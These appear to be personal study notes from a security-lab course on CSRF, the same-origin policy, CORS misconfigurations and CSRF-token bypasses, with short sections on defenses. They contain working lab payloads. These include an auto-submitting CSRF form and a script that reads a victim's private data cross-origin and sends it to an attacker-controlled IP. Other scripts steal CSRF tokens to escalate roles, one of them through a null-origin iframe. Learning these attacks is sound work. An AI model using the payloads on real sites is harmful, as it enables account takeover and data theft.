CSRF

Cross-site request forgery (also known as CSRF).

Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application. It can cause a victim to carry out a payload and unintended action, like changing email address or changing passwords. Tree conditions needed:

  • A relevevant action: Like changen email or password

  • Cookie-based sessions

  • No unpredictable request parameters like value of a password.

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE

[email protected]

Based on this we can create a simple web page or use https://csrf-poc-generator.vercel.app/

<html>
	<head>
		<title>CSRF-2</title>
	</head>
	<body>
		<form action="https://0a2200ad04963c7981de6661005c00c2.web-security-academy.net/my-account/change-email" method="POST">
		    <input type="hidden" name="email" value="[email protected]">
		</form>

		<script>
			document.forms[0].submit();
		</script>
	</body>
</html>

This wil change the user's emailaddress and can be delivered like

<img src="https://vulnerable-website.com/email/[email protected]">

Common flaws in CSRT tokens

  • Apps might validate tokens in POST requests but not in GET requests.

  • Remove parameter and value, could bypass validation.

  • Sometimes tokens not checked to which users its linked. Accepts any valid token.

CSRF Defenses

  • CSRF token: A unique random value included in requests to prevent unauthorized changes. It must unpredictable, checked by backend and not sent in cookies.

  • HTTP Headers: Webapps can check HTTP Headers like Origin or Referer to block cross origin requests.

  • SameSite cookies: Cookie settings that controls whether cookies are sent with cross-origin requests, helping to block CSRF attacks. Samesite=lax us used most and cookie is sent wwith safe cross-origin request.

Same-Origin Policy

The Same-Origin policy is a security mechanism implemented in web browsers to prevent cross-origin access to websites. In particular, JavaScript code running on one origin cannot access a different origin.

origin = scheme (http or https) + host (example.com) + port (:80, :443, etc.). So all parts have to match with SOP.

CORS

CORS (Cross-Origin Resource Sharing) lets a server allow exceptions to the Same-Origin Policy by using special response headers.

Header
Purpose

Access-Control-Allow-Origin

Which origins can access the resource

Access-Control-Allow-Methods

Which HTTP methods are allowed (e.g. GET, POST)

Access-Control-Allow-Headers

Which request headers are allowed

1. Simple Requests

  • For basic requests (like GET, HEAD, or POST with simple content types), the browser sends the request as usual.

  • If the server allows it, it puts a special header in its response: Access-Control-Allow-Origin: http://mysite.com

  • If this header matches the site making the request, the browser lets the page see the response.

2. Preflighted Requests

  • If your request uses special methods (like PUT or DELETE) or custom headers (like Content-Type: application/json), the browser sends a preflight request first.

  • This is an OPTIONS request to the server asking, “Can I make this request?”

  • The server must reply with headers saying which methods, headers, and origins are allowed.

CORS Misconfigurations

CORS misconfigurations can make web applications vulnerable. If a server sets the wrong CORS headers, attackers may get access to sensitive data or perform actions as a logged-in user.

Look for instances where the web application sets the Access-Control-Allow-Origin header to the value received in the Origin header. Then send a fake value int he Origin header and see if it is contained in the Access-Control-Allow-Origin .

✔️ Most attacks require that the Access-Control-Allow-Credentials header is set to true

Here we find Access-Control-Allow-Credentials set to true.

The Access-Control-Allow-Origin header contains the origin, which is allowed to bypass the Same-Origin policy.

Sometimes a website lets users login from different subdomains but is not checking the url's properly so that the example.com would allow sub.example.com but malsite.example.com.

// we can send this to get private-message component.
<script>
    var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://cors-misconfigs.htb/profile.php', true);
    xhr.withCredentials = true;
    xhr.onload = () => {
	  var doc = new DOMParser().parseFromString(xhr.response, 'text/html');
	  var msg = encodeURIComponent(doc.getElementById('private-message').innerHTML);
      location = 'https://10.10.14.157:4443/log?data=' + btoa(msg);
    };
    xhr.send();
</script>

Bypass CSRF tokens

If CORS settings are bad we can get around the Same-Origin Policy and read data from other sites. We can request a CSRF token and to things as that user like chaning roles. But the sites cookie must have:

  • SameSite=None (allows sending cookies across sites)

  • Secure (cookie only sent over HTTPS)

Look if the value in GET request in Origin header is reflected. This CORS misconfiguration can be exploited with the SameSite=None cookie attribute.

This POST request shows a csrf_token, so to perform role promotion in this case we need to get a valid CSRF token of the victim.

<script>
	// GET CSRF token
	var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://bypassing-csrftokens.htb/profile.php', false);
    xhr.withCredentials = true;
    xhr.send();
    var doc = new DOMParser().parseFromString(xhr.responseText, 'text/html');
	var csrftoken = encodeURIComponent(doc.getElementById('csrf').value);

	// do CSRF
    var csrf_req = new XMLHttpRequest();
    var params = `promote=htb-stdnt&csrf=${csrftoken}`;
    csrf_req.open('POST', 'https://bypassing-csrftokens.htb/profile.php', false);
	csrf_req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    csrf_req.withCredentials = true;
    csrf_req.send(params);
</script>

null value

If finding a null value at the Access-Control-Allow-Origin we can null origin for any cross-origin request.

Get an administrator CSRF token using XSS. Payload must be in a sandboxed iframe to supply a null origin.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
	// GET CSRF token
	var xhr = new XMLHttpRequest();
    xhr.open('GET', 'https://bypassing-csrftokens.htb/profile.php', false);
    xhr.withCredentials = true;
    xhr.send();
    var doc = new DOMParser().parseFromString(xhr.responseText, 'text/html');
	var csrftoken = encodeURIComponent(doc.getElementById('csrf_token').value);

	// do CSRF
    var csrf_req = new XMLHttpRequest();
    var params = `promote=htb-stdnt&csrf_token=${csrftoken}`;
    csrf_req.open('POST', 'https://bypassing-csrftokens.htb/profile.php', false);
	csrf_req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    csrf_req.withCredentials = true;
    csrf_req.send(params);
</script>"></iframe>

Last updated

Was this helpful?